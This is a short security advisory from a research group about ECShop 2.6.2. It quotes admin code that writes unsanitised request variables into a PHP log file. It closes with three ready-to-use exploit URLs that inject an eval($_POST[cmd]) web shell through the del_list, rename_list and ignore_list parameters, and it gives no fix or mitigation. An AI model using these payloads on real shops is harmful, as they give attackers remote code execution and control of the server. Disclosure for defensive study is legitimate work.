######################### Securitylab.ir ########################

Application Info:

Name: ecshop

Version: 2.6.2

Website: http://www.ecshop.com

#################################################################

Discoverd By: Securitylab.ir

Website: http://securitylab.ir

Contacts: info@securitylab[dot]ir & [email protected]

#################################################################
#===========================================================

:: integrate.php ::

if ($_REQUEST['act'] == 'sync')

{

$size = 100;

…

$tasks = array();

if ($task_del > 0)

{

$tasks[] = array('task_name'=>sprintf($_LANG['task_del'], $task_del),'task_status'=>'<span

id="task_del">' . $_LANG['task_uncomplete'] . '<span>');

$sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 2";

$del_list = $db->getCol($sql);//$del_list

}

if ($task_rename > 0)

{

$tasks[] = array('task_name'=>sprintf($_LANG['task_rename'],

$task_rename),'task_status'=>'<span id="task_rename">' . $_LANG['task_uncomplete'] . '</span>');

$sql = "SELECT user_name, alias FROM " . $ecs->table('users') . " WHERE flag = 3";

$rename_list = $db->getAll($sql);//$rename_list

}

if ($task_ignore >0)

{

$sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 4";

$ignore_list = $db->getCol($sql);//$ignore_list

}

…

$fp = @fopen(ROOT_PATH . DATA_DIR . '/integrate_' . $_SESSION['code'] . '_log.php', 'wb');

$log = '';

if (isset($del_list))

{

$log .= '$del_list=' . var_export($del_list,true) . ';';

}

if (isset($rename_list))

{

$log .= '$rename_list=' . var_export($rename_list, true) . ';';

}

if (isset($ignore_list))

{

$log .= '$ignore_list=' . var_export($ignore_list, true) . ';';

}

fwrite($fp, $log);

fclose($fp);

$smarty->assign('tasks', $tasks);

$smarty->assign('ur_here',$_LANG['user_sync']);

$smarty->assign('size', $size);

$smarty->display('integrates_sync.htm');

}

http://site.com/admin/integrate.php?act=sync&amp;del_list=&lt;?php&#37;20eval&#40;$_POST[cmd]&#41;?&gt;

http://site.com/admin/integrate.php?act=sync&amp;rename_list=&lt;?php&#37;20eval&#40;$_POST[cmd]&#41;?&gt;

http://site.com/admin/integrate.php?act=sync&amp;ignore_list=&lt;?php&#37;20eval&#40;$_POST[cmd]&#41;?&gt;

#===========================================================
#################################################################

Securitylab Security Research Team

###################################################################